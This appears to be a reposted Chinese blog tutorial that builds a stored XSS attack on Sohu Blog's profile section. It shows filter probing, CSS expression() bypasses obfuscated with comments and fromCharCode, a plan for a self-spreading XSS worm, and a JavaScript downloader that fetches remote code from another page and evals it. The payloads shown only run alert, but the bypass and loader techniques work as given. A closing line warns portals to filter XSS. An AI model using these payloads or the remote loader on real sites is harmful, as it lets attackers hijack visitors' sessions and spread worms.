不說廢話,且看怎麼實現,我先拿SOHU BLOG做示範.

1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.
'';:!--"<javascript JAvaSCriPT>=&#{()} \/

結果

'';:!--"=&#{()} // (&後是amp,論壇過濾了)

過濾了"javascript","&"和"\"這兩個轉義字符串,因此HTML轉碼和CSS樣式轉碼已無效,只好從屬性和事件入手.

2.測試一個XSS常用屬性和兩個事件,貌似沒有過濾字符. expression
onerror
onload

3.下面開始嘗試構造語句.如下:
<img src="#" style="Xss:expression(alert('xss'));">

<img src="#" onerror=alert('xss')>

<img src="http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg" onload=alert('xss')>

構造完整標記,頁面輸出後又全部過濾.

4."/"字符沒有過濾因此可以構造/*xxxx*/註釋符,expression屬性可以配合註釋符構造出語句:
<div style="xss:ex/**/pre/**/ssion(alert('xss'))">

5.由於expression屬性比較特殊想當於一個死循環的EVAL函數,同時style標記裡不能出現";"字符,也就是不能構造多條連接在一起的javascript,因此構造出如下語句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf('Cookie1=') == -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();alert('xss');}">

//設置一個COOKIE在10秒後失效,並在這條COOKIE語句中執行其他語句或函數.

6.遺憾的是SOHU BLOG對於標記內不合適的內容都會過濾,因此我們無法eval標記內的某個變量,於是採用fromCharCode方法,將Unicode字符值專成字符串再用eval函數執行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

7.感染流程考慮:

一.BLOG頁面的個人檔案處是頁面通用的,

二.XSS內容寫到個人檔案處,所有瀏覽者都會觸發XSS

三.實現一段提交XSS內容到個人檔案的代碼.

8.個人檔案處只能輸入2048個字符,又採用了fromCharCode方法,因此出現XSS代碼長度的限制,因此只能調用遠程代碼,於是寫出了個XSS downloader.

主要代碼:
function d(){
a=new ActiveXObject('Microsoft.XMLHTTP'); /*調用XMLHTTP控件
a.Open('get','http://s0n9.blog.sohu.com/31406970.html',false);/*發出一個GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));
/*用indexOf計算 --|********|-- 的位置,用substring方法取出字符串,最後用unescape方法解碼.
}d()

http://s0n9.blog.sohu.com/31406970.html 頁面代碼:
alert%28%27xss%27%29%3B
/*利用escape將標點符號轉碼,由於responseText特性,某些字符會轉換,如"&"字符會變成"&"(&後是amp,論壇過濾了)

PS:其他傳染和詳細的偽造提交的過程略去,各門戶網站小心,過濾好XSS關鍵字,以防止XSS WROM爆發
     不知對大家有沒有用處==OMG
arrow
arrow
    全站熱搜

    teamaple 發表在 痞客邦 留言(0) 人氣()